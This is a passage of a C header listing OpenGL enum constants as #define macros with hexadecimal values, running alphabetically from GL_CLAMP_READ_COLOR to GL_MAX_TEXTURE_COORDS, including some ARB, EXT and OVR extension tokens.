#define GL_CLAMP_READ_COLOR 0x891C
#define GL_CLAMP_TO_BORDER 0x812D
#define GL_CLAMP_TO_EDGE 0x812F
#define GL_CLAMP_VERTEX_COLOR 0x891A
#define GL_CLEAR 0x1500
#define GL_CLIENT_ACTIVE_TEXTURE 0x84E1
#define GL_CLIENT_ALL_ATTRIB_BITS 0xFFFFFFFF
#define GL_CLIENT_ATTRIB_STACK_DEPTH 0x0BB1
#define GL_CLIENT_PIXEL_STORE_BIT 0x00000001
#define GL_CLIENT_VERTEX_ARRAY_BIT 0x00000002
#define GL_CLIP_DISTANCE0 0x3000
#define GL_CLIP_DISTANCE1 0x3001
#define GL_CLIP_DISTANCE2 0x3002
#define GL_CLIP_DISTANCE3 0x3003
#define GL_CLIP_DISTANCE4 0x3004
#define GL_CLIP_DISTANCE5 0x3005
#define GL_CLIP_DISTANCE6 0x3006
#define GL_CLIP_DISTANCE7 0x3007
#define GL_CLIP_PLANE0 0x3000
#define GL_CLIP_PLANE1 0x3001
#define GL_CLIP_PLANE2 0x3002
#define GL_CLIP_PLANE3 0x3003
#define GL_CLIP_PLANE4 0x3004
#define GL_CLIP_PLANE5 0x3005
#define GL_COEFF 0x0A00
#define GL_COLOR 0x1800
#define GL_COLOR_ARRAY 0x8076
#define GL_COLOR_ARRAY_BUFFER_BINDING 0x8898
#define GL_COLOR_ARRAY_POINTER 0x8090
#define GL_COLOR_ARRAY_SIZE 0x8081
#define GL_COLOR_ARRAY_STRIDE 0x8083
#define GL_COLOR_ARRAY_TYPE 0x8082
#define GL_COLOR_ATTACHMENT0 0x8CE0
#define GL_COLOR_ATTACHMENT0_EXT 0x8CE0
#define GL_COLOR_ATTACHMENT1 0x8CE1
#define GL_COLOR_ATTACHMENT10 0x8CEA
#define GL_COLOR_ATTACHMENT10_EXT 0x8CEA
#define GL_COLOR_ATTACHMENT11 0x8CEB
#define GL_COLOR_ATTACHMENT11_EXT 0x8CEB
#define GL_COLOR_ATTACHMENT12 0x8CEC
#define GL_COLOR_ATTACHMENT12_EXT 0x8CEC
#define GL_COLOR_ATTACHMENT13 0x8CED
#define GL_COLOR_ATTACHMENT13_EXT 0x8CED
#define GL_COLOR_ATTACHMENT14 0x8CEE
#define GL_COLOR_ATTACHMENT14_EXT 0x8CEE
#define GL_COLOR_ATTACHMENT15 0x8CEF
#define GL_COLOR_ATTACHMENT15_EXT 0x8CEF
#define GL_COLOR_ATTACHMENT16 0x8CF0
#define GL_COLOR_ATTACHMENT17 0x8CF1
#define GL_COLOR_ATTACHMENT18 0x8CF2
#define GL_COLOR_ATTACHMENT19 0x8CF3
#define GL_COLOR_ATTACHMENT1_EXT 0x8CE1
#define GL_COLOR_ATTACHMENT2 0x8CE2
#define GL_COLOR_ATTACHMENT20 0x8CF4
#define GL_COLOR_ATTACHMENT21 0x8CF5
#define GL_COLOR_ATTACHMENT22 0x8CF6
#define GL_COLOR_ATTACHMENT23 0x8CF7
#define GL_COLOR_ATTACHMENT24 0x8CF8
#define GL_COLOR_ATTACHMENT25 0x8CF9
#define GL_COLOR_ATTACHMENT26 0x8CFA
#define GL_COLOR_ATTACHMENT27 0x8CFB
#define GL_COLOR_ATTACHMENT28 0x8CFC
#define GL_COLOR_ATTACHMENT29 0x8CFD
#define GL_COLOR_ATTACHMENT2_EXT 0x8CE2
#define GL_COLOR_ATTACHMENT3 0x8CE3
#define GL_COLOR_ATTACHMENT30 0x8CFE
#define GL_COLOR_ATTACHMENT31 0x8CFF
#define GL_COLOR_ATTACHMENT3_EXT 0x8CE3
#define GL_COLOR_ATTACHMENT4 0x8CE4
#define GL_COLOR_ATTACHMENT4_EXT 0x8CE4
#define GL_COLOR_ATTACHMENT5 0x8CE5
#define GL_COLOR_ATTACHMENT5_EXT 0x8CE5
#define GL_COLOR_ATTACHMENT6 0x8CE6
#define GL_COLOR_ATTACHMENT6_EXT 0x8CE6
#define GL_COLOR_ATTACHMENT7 0x8CE7
#define GL_COLOR_ATTACHMENT7_EXT 0x8CE7
#define GL_COLOR_ATTACHMENT8 0x8CE8
#define GL_COLOR_ATTACHMENT8_EXT 0x8CE8
#define GL_COLOR_ATTACHMENT9 0x8CE9
#define GL_COLOR_ATTACHMENT9_EXT 0x8CE9
#define GL_COLOR_BUFFER_BIT 0x00004000
#define GL_COLOR_CLEAR_VALUE 0x0C22
#define GL_COLOR_INDEX 0x1900
#define GL_COLOR_INDEXES 0x1603
#define GL_COLOR_LOGIC_OP 0x0BF2
#define GL_COLOR_MATERIAL 0x0B57
#define GL_COLOR_MATERIAL_FACE 0x0B55
#define GL_COLOR_MATERIAL_PARAMETER 0x0B56
#define GL_COLOR_SUM 0x8458
#define GL_COLOR_WRITEMASK 0x0C23
#define GL_COMBINE 0x8570
#define GL_COMBINE_ALPHA 0x8572
#define GL_COMBINE_RGB 0x8571
#define GL_COMPARE_REF_TO_TEXTURE 0x884E
#define GL_COMPARE_R_TO_TEXTURE 0x884E
#define GL_COMPILE 0x1300
#define GL_COMPILE_AND_EXECUTE 0x1301
#define GL_COMPILE_STATUS 0x8B81
#define GL_COMPRESSED_ALPHA 0x84E9
#define GL_COMPRESSED_INTENSITY 0x84EC
#define GL_COMPRESSED_LUMINANCE 0x84EA
#define GL_COMPRESSED_LUMINANCE_ALPHA 0x84EB
#define GL_COMPRESSED_RED 0x8225
#define GL_COMPRESSED_RED_RGTC1 0x8DBB
#define GL_COMPRESSED_RG 0x8226
#define GL_COMPRESSED_RGB 0x84ED
#define GL_COMPRESSED_RGBA 0x84EE
#define GL_COMPRESSED_RG_RGTC2 0x8DBD
#define GL_COMPRESSED_SIGNED_RED_RGTC1 0x8DBC
#define GL_COMPRESSED_SIGNED_RG_RGTC2 0x8DBE
#define GL_COMPRESSED_SLUMINANCE 0x8C4A
#define GL_COMPRESSED_SLUMINANCE_ALPHA 0x8C4B
#define GL_COMPRESSED_SRGB 0x8C48
#define GL_COMPRESSED_SRGB_ALPHA 0x8C49
#define GL_COMPRESSED_TEXTURE_FORMATS 0x86A3
#define GL_CONDITION_SATISFIED 0x911C
#define GL_CONSTANT 0x8576
#define GL_CONSTANT_ALPHA 0x8003
#define GL_CONSTANT_ATTENUATION 0x1207
#define GL_CONSTANT_COLOR 0x8001
#define GL_CONTEXT_COMPATIBILITY_PROFILE_BIT 0x00000002
#define GL_CONTEXT_CORE_PROFILE_BIT 0x00000001
#define GL_CONTEXT_FLAGS 0x821E
#define GL_CONTEXT_FLAG_FORWARD_COMPATIBLE_BIT 0x00000001
#define GL_CONTEXT_PROFILE_MASK 0x9126
#define GL_COORD_REPLACE 0x8862
#define GL_COPY 0x1503
#define GL_COPY_INVERTED 0x150C
#define GL_COPY_PIXEL_TOKEN 0x0706
#define GL_COPY_READ_BUFFER 0x8F36
#define GL_COPY_WRITE_BUFFER 0x8F37
#define GL_CULL_FACE 0x0B44
#define GL_CULL_FACE_MODE 0x0B45
#define GL_CURRENT_BIT 0x00000001
#define GL_CURRENT_COLOR 0x0B00
#define GL_CURRENT_FOG_COORD 0x8453
#define GL_CURRENT_FOG_COORDINATE 0x8453
#define GL_CURRENT_INDEX 0x0B01
#define GL_CURRENT_NORMAL 0x0B02
#define GL_CURRENT_PROGRAM 0x8B8D
#define GL_CURRENT_QUERY 0x8865
#define GL_CURRENT_RASTER_COLOR 0x0B04
#define GL_CURRENT_RASTER_DISTANCE 0x0B09
#define GL_CURRENT_RASTER_INDEX 0x0B05
#define GL_CURRENT_RASTER_POSITION 0x0B07
#define GL_CURRENT_RASTER_POSITION_VALID 0x0B08
#define GL_CURRENT_RASTER_SECONDARY_COLOR 0x845F
#define GL_CURRENT_RASTER_TEXTURE_COORDS 0x0B06
#define GL_CURRENT_SECONDARY_COLOR 0x8459
#define GL_CURRENT_TEXTURE_COORDS 0x0B03
#define GL_CURRENT_VERTEX_ATTRIB 0x8626
#define GL_CW 0x0900
#define GL_DEBUG_CALLBACK_FUNCTION_ARB 0x8244
#define GL_DEBUG_CALLBACK_USER_PARAM_ARB 0x8245
#define GL_DEBUG_LOGGED_MESSAGES_ARB 0x9145
#define GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH_ARB 0x8243
#define GL_DEBUG_OUTPUT_SYNCHRONOUS_ARB 0x8242
#define GL_DEBUG_SEVERITY_HIGH_ARB 0x9146
#define GL_DEBUG_SEVERITY_LOW_ARB 0x9148
#define GL_DEBUG_SEVERITY_MEDIUM_ARB 0x9147
#define GL_DEBUG_SOURCE_API_ARB 0x8246
#define GL_DEBUG_SOURCE_APPLICATION_ARB 0x824A
#define GL_DEBUG_SOURCE_OTHER_ARB 0x824B
#define GL_DEBUG_SOURCE_SHADER_COMPILER_ARB 0x8248
#define GL_DEBUG_SOURCE_THIRD_PARTY_ARB 0x8249
#define GL_DEBUG_SOURCE_WINDOW_SYSTEM_ARB 0x8247
#define GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR_ARB 0x824D
#define GL_DEBUG_TYPE_ERROR_ARB 0x824C
#define GL_DEBUG_TYPE_OTHER_ARB 0x8251
#define GL_DEBUG_TYPE_PERFORMANCE_ARB 0x8250
#define GL_DEBUG_TYPE_PORTABILITY_ARB 0x824F
#define GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR_ARB 0x824E
#define GL_DECAL 0x2101
#define GL_DECR 0x1E03
#define GL_DECR_WRAP 0x8508
#define GL_DELETE_STATUS 0x8B80
#define GL_DEPTH 0x1801
#define GL_DEPTH24_STENCIL8 0x88F0
#define GL_DEPTH32F_STENCIL8 0x8CAD
#define GL_DEPTH_ATTACHMENT 0x8D00
#define GL_DEPTH_ATTACHMENT_EXT 0x8D00
#define GL_DEPTH_BIAS 0x0D1F
#define GL_DEPTH_BITS 0x0D56
#define GL_DEPTH_BUFFER_BIT 0x00000100
#define GL_DEPTH_CLAMP 0x864F
#define GL_DEPTH_CLEAR_VALUE 0x0B73
#define GL_DEPTH_COMPONENT 0x1902
#define GL_DEPTH_COMPONENT16 0x81A5
#define GL_DEPTH_COMPONENT24 0x81A6
#define GL_DEPTH_COMPONENT32 0x81A7
#define GL_DEPTH_COMPONENT32F 0x8CAC
#define GL_DEPTH_FUNC 0x0B74
#define GL_DEPTH_RANGE 0x0B70
#define GL_DEPTH_SCALE 0x0D1E
#define GL_DEPTH_STENCIL 0x84F9
#define GL_DEPTH_STENCIL_ATTACHMENT 0x821A
#define GL_DEPTH_TEST 0x0B71
#define GL_DEPTH_TEXTURE_MODE 0x884B
#define GL_DEPTH_WRITEMASK 0x0B72
#define GL_DIFFUSE 0x1201
#define GL_DITHER 0x0BD0
#define GL_DOMAIN 0x0A02
#define GL_DONT_CARE 0x1100
#define GL_DOT3_RGB 0x86AE
#define GL_DOT3_RGBA 0x86AF
#define GL_DOUBLE 0x140A
#define GL_DOUBLEBUFFER 0x0C32
#define GL_DRAW_BUFFER 0x0C01
#define GL_DRAW_BUFFER0 0x8825
#define GL_DRAW_BUFFER1 0x8826
#define GL_DRAW_BUFFER10 0x882F
#define GL_DRAW_BUFFER11 0x8830
#define GL_DRAW_BUFFER12 0x8831
#define GL_DRAW_BUFFER13 0x8832
#define GL_DRAW_BUFFER14 0x8833
#define GL_DRAW_BUFFER15 0x8834
#define GL_DRAW_BUFFER2 0x8827
#define GL_DRAW_BUFFER3 0x8828
#define GL_DRAW_BUFFER4 0x8829
#define GL_DRAW_BUFFER5 0x882A
#define GL_DRAW_BUFFER6 0x882B
#define GL_DRAW_BUFFER7 0x882C
#define GL_DRAW_BUFFER8 0x882D
#define GL_DRAW_BUFFER9 0x882E
#define GL_DRAW_FRAMEBUFFER 0x8CA9
#define GL_DRAW_FRAMEBUFFER_BINDING 0x8CA6
#define GL_DRAW_FRAMEBUFFER_BINDING_EXT 0x8CA6
#define GL_DRAW_FRAMEBUFFER_EXT 0x8CA9
#define GL_DRAW_PIXEL_TOKEN 0x0705
#define GL_DST_ALPHA 0x0304
#define GL_DST_COLOR 0x0306
#define GL_DYNAMIC_COPY 0x88EA
#define GL_DYNAMIC_DRAW 0x88E8
#define GL_DYNAMIC_READ 0x88E9
#define GL_EDGE_FLAG 0x0B43
#define GL_EDGE_FLAG_ARRAY 0x8079
#define GL_EDGE_FLAG_ARRAY_BUFFER_BINDING 0x889B
#define GL_EDGE_FLAG_ARRAY_POINTER 0x8093
#define GL_EDGE_FLAG_ARRAY_STRIDE 0x808C
#define GL_ELEMENT_ARRAY_BUFFER 0x8893
#define GL_ELEMENT_ARRAY_BUFFER_BINDING 0x8895
#define GL_EMISSION 0x1600
#define GL_ENABLE_BIT 0x00002000
#define GL_EQUAL 0x0202
#define GL_EQUIV 0x1509
#define GL_EVAL_BIT 0x00010000
#define GL_EXP 0x0800
#define GL_EXP2 0x0801
#define GL_EXTENSIONS 0x1F03
#define GL_EYE_LINEAR 0x2400
#define GL_EYE_PLANE 0x2502
#define GL_FALSE 0
#define GL_FASTEST 0x1101
#define GL_FEEDBACK 0x1C01
#define GL_FEEDBACK_BUFFER_POINTER 0x0DF0
#define GL_FEEDBACK_BUFFER_SIZE 0x0DF1
#define GL_FEEDBACK_BUFFER_TYPE 0x0DF2
#define GL_FILL 0x1B02
#define GL_FIRST_VERTEX_CONVENTION 0x8E4D
#define GL_FIXED_ONLY 0x891D
#define GL_FLAT 0x1D00
#define GL_FLOAT 0x1406
#define GL_FLOAT_32_UNSIGNED_INT_24_8_REV 0x8DAD
#define GL_FLOAT_MAT2 0x8B5A
#define GL_FLOAT_MAT2x3 0x8B65
#define GL_FLOAT_MAT2x4 0x8B66
#define GL_FLOAT_MAT3 0x8B5B
#define GL_FLOAT_MAT3x2 0x8B67
#define GL_FLOAT_MAT3x4 0x8B68
#define GL_FLOAT_MAT4 0x8B5C
#define GL_FLOAT_MAT4x2 0x8B69
#define GL_FLOAT_MAT4x3 0x8B6A
#define GL_FLOAT_VEC2 0x8B50
#define GL_FLOAT_VEC3 0x8B51
#define GL_FLOAT_VEC4 0x8B52
#define GL_FOG 0x0B60
#define GL_FOG_BIT 0x00000080
#define GL_FOG_COLOR 0x0B66
#define GL_FOG_COORD 0x8451
#define GL_FOG_COORDINATE 0x8451
#define GL_FOG_COORDINATE_ARRAY 0x8457
#define GL_FOG_COORDINATE_ARRAY_BUFFER_BINDING 0x889D
#define GL_FOG_COORDINATE_ARRAY_POINTER 0x8456
#define GL_FOG_COORDINATE_ARRAY_STRIDE 0x8455
#define GL_FOG_COORDINATE_ARRAY_TYPE 0x8454
#define GL_FOG_COORDINATE_SOURCE 0x8450
#define GL_FOG_COORD_ARRAY 0x8457
#define GL_FOG_COORD_ARRAY_BUFFER_BINDING 0x889D
#define GL_FOG_COORD_ARRAY_POINTER 0x8456
#define GL_FOG_COORD_ARRAY_STRIDE 0x8455
#define GL_FOG_COORD_ARRAY_TYPE 0x8454
#define GL_FOG_COORD_SRC 0x8450
#define GL_FOG_DENSITY 0x0B62
#define GL_FOG_END 0x0B64
#define GL_FOG_HINT 0x0C54
#define GL_FOG_INDEX 0x0B61
#define GL_FOG_MODE 0x0B65
#define GL_FOG_START 0x0B63
#define GL_FRAGMENT_DEPTH 0x8452
#define GL_FRAGMENT_SHADER 0x8B30
#define GL_FRAGMENT_SHADER_DERIVATIVE_HINT 0x8B8B
#define GL_FRAMEBUFFER 0x8D40
#define GL_FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE 0x8215
#define GL_FRAMEBUFFER_ATTACHMENT_BLUE_SIZE 0x8214
#define GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING 0x8210
#define GL_FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE 0x8211
#define GL_FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE 0x8216
#define GL_FRAMEBUFFER_ATTACHMENT_GREEN_SIZE 0x8213
#define GL_FRAMEBUFFER_ATTACHMENT_LAYERED 0x8DA7
#define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME 0x8CD1
#define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_EXT 0x8CD1
#define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE 0x8CD0
#define GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_EXT 0x8CD0
#define GL_FRAMEBUFFER_ATTACHMENT_RED_SIZE 0x8212
#define GL_FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE 0x8217
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_3D_ZOFFSET_EXT 0x8CD4
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_BASE_VIEW_INDEX_OVR 0x9632
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE 0x8CD3
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_EXT 0x8CD3
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER 0x8CD4
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL 0x8CD2
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_EXT 0x8CD2
#define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_NUM_VIEWS_OVR 0x9630
#define GL_FRAMEBUFFER_BINDING 0x8CA6
#define GL_FRAMEBUFFER_BINDING_EXT 0x8CA6
#define GL_FRAMEBUFFER_COMPLETE 0x8CD5
#define GL_FRAMEBUFFER_COMPLETE_EXT 0x8CD5
#define GL_FRAMEBUFFER_DEFAULT 0x8218
#define GL_FRAMEBUFFER_EXT 0x8D40
#define GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT 0x8CD6
#define GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_EXT 0x8CD6
#define GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_EXT 0x8CD9
#define GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER 0x8CDB
#define GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER_EXT 0x8CDB
#define GL_FRAMEBUFFER_INCOMPLETE_FORMATS_EXT 0x8CDA
#define GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS 0x8DA8
#define GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT 0x8CD7
#define GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_EXT 0x8CD7
#define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE 0x8D56
#define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_EXT 0x8D56
#define GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER 0x8CDC
#define GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER_EXT 0x8CDC
#define GL_FRAMEBUFFER_INCOMPLETE_VIEW_TARGETS_OVR 0x9633
#define GL_FRAMEBUFFER_SRGB 0x8DB9
#define GL_FRAMEBUFFER_UNDEFINED 0x8219
#define GL_FRAMEBUFFER_UNSUPPORTED 0x8CDD
#define GL_FRAMEBUFFER_UNSUPPORTED_EXT 0x8CDD
#define GL_FRONT 0x0404
#define GL_FRONT_AND_BACK 0x0408
#define GL_FRONT_FACE 0x0B46
#define GL_FRONT_LEFT 0x0400
#define GL_FRONT_RIGHT 0x0401
#define GL_FUNC_ADD 0x8006
#define GL_FUNC_REVERSE_SUBTRACT 0x800B
#define GL_FUNC_SUBTRACT 0x800A
#define GL_GENERATE_MIPMAP 0x8191
#define GL_GENERATE_MIPMAP_HINT 0x8192
#define GL_GEOMETRY_INPUT_TYPE 0x8917
#define GL_GEOMETRY_OUTPUT_TYPE 0x8918
#define GL_GEOMETRY_SHADER 0x8DD9
#define GL_GEOMETRY_VERTICES_OUT 0x8916
#define GL_GEQUAL 0x0206
#define GL_GREATER 0x0204
#define GL_GREEN 0x1904
#define GL_GREEN_BIAS 0x0D19
#define GL_GREEN_BITS 0x0D53
#define GL_GREEN_INTEGER 0x8D95
#define GL_GREEN_SCALE 0x0D18
#define GL_HALF_FLOAT 0x140B
#define GL_HINT_BIT 0x00008000
#define GL_INCR 0x1E02
#define GL_INCR_WRAP 0x8507
#define GL_INDEX 0x8222
#define GL_INDEX_ARRAY 0x8077
#define GL_INDEX_ARRAY_BUFFER_BINDING 0x8899
#define GL_INDEX_ARRAY_POINTER 0x8091
#define GL_INDEX_ARRAY_STRIDE 0x8086
#define GL_INDEX_ARRAY_TYPE 0x8085
#define GL_INDEX_BITS 0x0D51
#define GL_INDEX_CLEAR_VALUE 0x0C20
#define GL_INDEX_LOGIC_OP 0x0BF1
#define GL_INDEX_MODE 0x0C30
#define GL_INDEX_OFFSET 0x0D13
#define GL_INDEX_SHIFT 0x0D12
#define GL_INDEX_WRITEMASK 0x0C21
#define GL_INFO_LOG_LENGTH 0x8B84
#define GL_INT 0x1404
#define GL_INTENSITY 0x8049
#define GL_INTENSITY12 0x804C
#define GL_INTENSITY16 0x804D
#define GL_INTENSITY4 0x804A
#define GL_INTENSITY8 0x804B
#define GL_INTERLEAVED_ATTRIBS 0x8C8C
#define GL_INTERPOLATE 0x8575
#define GL_INT_2_10_10_10_REV 0x8D9F
#define GL_INT_SAMPLER_1D 0x8DC9
#define GL_INT_SAMPLER_1D_ARRAY 0x8DCE
#define GL_INT_SAMPLER_2D 0x8DCA
#define GL_INT_SAMPLER_2D_ARRAY 0x8DCF
#define GL_INT_SAMPLER_2D_MULTISAMPLE 0x9109
#define GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY 0x910C
#define GL_INT_SAMPLER_2D_RECT 0x8DCD
#define GL_INT_SAMPLER_3D 0x8DCB
#define GL_INT_SAMPLER_BUFFER 0x8DD0
#define GL_INT_SAMPLER_CUBE 0x8DCC
#define GL_INT_VEC2 0x8B53
#define GL_INT_VEC3 0x8B54
#define GL_INT_VEC4 0x8B55
#define GL_INVALID_ENUM 0x0500
#define GL_INVALID_FRAMEBUFFER_OPERATION 0x0506
#define GL_INVALID_FRAMEBUFFER_OPERATION_EXT 0x0506
#define GL_INVALID_INDEX 0xFFFFFFFF
#define GL_INVALID_OPERATION 0x0502
#define GL_INVALID_VALUE 0x0501
#define GL_INVERT 0x150A
#define GL_KEEP 0x1E00
#define GL_LAST_VERTEX_CONVENTION 0x8E4E
#define GL_LEFT 0x0406
#define GL_LEQUAL 0x0203
#define GL_LESS 0x0201
#define GL_LIGHT0 0x4000
#define GL_LIGHT1 0x4001
#define GL_LIGHT2 0x4002
#define GL_LIGHT3 0x4003
#define GL_LIGHT4 0x4004
#define GL_LIGHT5 0x4005
#define GL_LIGHT6 0x4006
#define GL_LIGHT7 0x4007
#define GL_LIGHTING 0x0B50
#define GL_LIGHTING_BIT 0x00000040
#define GL_LIGHT_MODEL_AMBIENT 0x0B53
#define GL_LIGHT_MODEL_COLOR_CONTROL 0x81F8
#define GL_LIGHT_MODEL_LOCAL_VIEWER 0x0B51
#define GL_LIGHT_MODEL_TWO_SIDE 0x0B52
#define GL_LINE 0x1B01
#define GL_LINEAR 0x2601
#define GL_LINEAR_ATTENUATION 0x1208
#define GL_LINEAR_MIPMAP_LINEAR 0x2703
#define GL_LINEAR_MIPMAP_NEAREST 0x2701
#define GL_LINES 0x0001
#define GL_LINES_ADJACENCY 0x000A
#define GL_LINE_BIT 0x00000004
#define GL_LINE_LOOP 0x0002
#define GL_LINE_RESET_TOKEN 0x0707
#define GL_LINE_SMOOTH 0x0B20
#define GL_LINE_SMOOTH_HINT 0x0C52
#define GL_LINE_STIPPLE 0x0B24
#define GL_LINE_STIPPLE_PATTERN 0x0B25
#define GL_LINE_STIPPLE_REPEAT 0x0B26
#define GL_LINE_STRIP 0x0003
#define GL_LINE_STRIP_ADJACENCY 0x000B
#define GL_LINE_TOKEN 0x0702
#define GL_LINE_WIDTH 0x0B21
#define GL_LINE_WIDTH_GRANULARITY 0x0B23
#define GL_LINE_WIDTH_RANGE 0x0B22
#define GL_LINK_STATUS 0x8B82
#define GL_LIST_BASE 0x0B32
#define GL_LIST_BIT 0x00020000
#define GL_LIST_INDEX 0x0B33
#define GL_LIST_MODE 0x0B30
#define GL_LOAD 0x0101
#define GL_LOGIC_OP 0x0BF1
#define GL_LOGIC_OP_MODE 0x0BF0
#define GL_LOWER_LEFT 0x8CA1
#define GL_LUMINANCE 0x1909
#define GL_LUMINANCE12 0x8041
#define GL_LUMINANCE12_ALPHA12 0x8047
#define GL_LUMINANCE12_ALPHA4 0x8046
#define GL_LUMINANCE16 0x8042
#define GL_LUMINANCE16_ALPHA16 0x8048
#define GL_LUMINANCE4 0x803F
#define GL_LUMINANCE4_ALPHA4 0x8043
#define GL_LUMINANCE6_ALPHA2 0x8044
#define GL_LUMINANCE8 0x8040
#define GL_LUMINANCE8_ALPHA8 0x8045
#define GL_LUMINANCE_ALPHA 0x190A
#define GL_MAJOR_VERSION 0x821B
#define GL_MAP1_COLOR_4 0x0D90
#define GL_MAP1_GRID_DOMAIN 0x0DD0
#define GL_MAP1_GRID_SEGMENTS 0x0DD1
#define GL_MAP1_INDEX 0x0D91
#define GL_MAP1_NORMAL 0x0D92
#define GL_MAP1_TEXTURE_COORD_1 0x0D93
#define GL_MAP1_TEXTURE_COORD_2 0x0D94
#define GL_MAP1_TEXTURE_COORD_3 0x0D95
#define GL_MAP1_TEXTURE_COORD_4 0x0D96
#define GL_MAP1_VERTEX_3 0x0D97
#define GL_MAP1_VERTEX_4 0x0D98
#define GL_MAP2_COLOR_4 0x0DB0
#define GL_MAP2_GRID_DOMAIN 0x0DD2
#define GL_MAP2_GRID_SEGMENTS 0x0DD3
#define GL_MAP2_INDEX 0x0DB1
#define GL_MAP2_NORMAL 0x0DB2
#define GL_MAP2_TEXTURE_COORD_1 0x0DB3
#define GL_MAP2_TEXTURE_COORD_2 0x0DB4
#define GL_MAP2_TEXTURE_COORD_3 0x0DB5
#define GL_MAP2_TEXTURE_COORD_4 0x0DB6
#define GL_MAP2_VERTEX_3 0x0DB7
#define GL_MAP2_VERTEX_4 0x0DB8
#define GL_MAP_COLOR 0x0D10
#define GL_MAP_FLUSH_EXPLICIT_BIT 0x0010
#define GL_MAP_INVALIDATE_BUFFER_BIT 0x0008
#define GL_MAP_INVALIDATE_RANGE_BIT 0x0004
#define GL_MAP_READ_BIT 0x0001
#define GL_MAP_STENCIL 0x0D11
#define GL_MAP_UNSYNCHRONIZED_BIT 0x0020
#define GL_MAP_WRITE_BIT 0x0002
#define GL_MATRIX_MODE 0x0BA0
#define GL_MAX 0x8008
#define GL_MAX_3D_TEXTURE_SIZE 0x8073
#define GL_MAX_ARRAY_TEXTURE_LAYERS 0x88FF
#define GL_MAX_ATTRIB_STACK_DEPTH 0x0D35
#define GL_MAX_CLIENT_ATTRIB_STACK_DEPTH 0x0D3B
#define GL_MAX_CLIP_DISTANCES 0x0D32
#define GL_MAX_CLIP_PLANES 0x0D32
#define GL_MAX_COLOR_ATTACHMENTS 0x8CDF
#define GL_MAX_COLOR_ATTACHMENTS_EXT 0x8CDF
#define GL_MAX_COLOR_TEXTURE_SAMPLES 0x910E
#define GL_MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS 0x8A33
#define GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS 0x8A32
#define GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS 0x8B4D
#define GL_MAX_COMBINED_UNIFORM_BLOCKS 0x8A2E
#define GL_MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS 0x8A31
#define GL_MAX_CUBE_MAP_TEXTURE_SIZE 0x851C
#define GL_MAX_DEBUG_LOGGED_MESSAGES_ARB 0x9144
#define GL_MAX_DEBUG_MESSAGE_LENGTH_ARB 0x9143
#define GL_MAX_DEPTH_TEXTURE_SAMPLES 0x910F
#define GL_MAX_DRAW_BUFFERS 0x8824
#define GL_MAX_DUAL_SOURCE_DRAW_BUFFERS 0x88FC
#define GL_MAX_ELEMENTS_INDICES 0x80E9
#define GL_MAX_ELEMENTS_VERTICES 0x80E8
#define GL_MAX_EVAL_ORDER 0x0D30
#define GL_MAX_FRAGMENT_INPUT_COMPONENTS 0x9125
#define GL_MAX_FRAGMENT_UNIFORM_BLOCKS 0x8A2D
#define GL_MAX_FRAGMENT_UNIFORM_COMPONENTS 0x8B49
#define GL_MAX_GEOMETRY_INPUT_COMPONENTS 0x9123
#define GL_MAX_GEOMETRY_OUTPUT_COMPONENTS 0x9124
#define GL_MAX_GEOMETRY_OUTPUT_VERTICES 0x8DE0
#define GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS 0x8C29
#define GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS 0x8DE1
#define GL_MAX_GEOMETRY_UNIFORM_BLOCKS 0x8A2C
#define GL_MAX_GEOMETRY_UNIFORM_COMPONENTS 0x8DDF
#define GL_MAX_INTEGER_SAMPLES 0x9110
#define GL_MAX_LIGHTS 0x0D31
#define GL_MAX_LIST_NESTING 0x0B31
#define GL_MAX_MODELVIEW_STACK_DEPTH 0x0D36
#define GL_MAX_NAME_STACK_DEPTH 0x0D37
#define GL_MAX_PIXEL_MAP_TABLE 0x0D34
#define GL_MAX_PROGRAM_TEXEL_OFFSET 0x8905
#define GL_MAX_PROJECTION_STACK_DEPTH 0x0D38
#define GL_MAX_RECTANGLE_TEXTURE_SIZE 0x84F8
#define GL_MAX_RENDERBUFFER_SIZE 0x84E8
#define GL_MAX_RENDERBUFFER_SIZE_EXT 0x84E8
#define GL_MAX_SAMPLES 0x8D57
#define GL_MAX_SAMPLES_EXT 0x8D57
#define GL_MAX_SAMPLE_MASK_WORDS 0x8E59
#define GL_MAX_SERVER_WAIT_TIMEOUT 0x9111
#define GL_MAX_TEXTURE_BUFFER_SIZE 0x8C2B
#define GL_MAX_TEXTURE_COORDS 0x8871
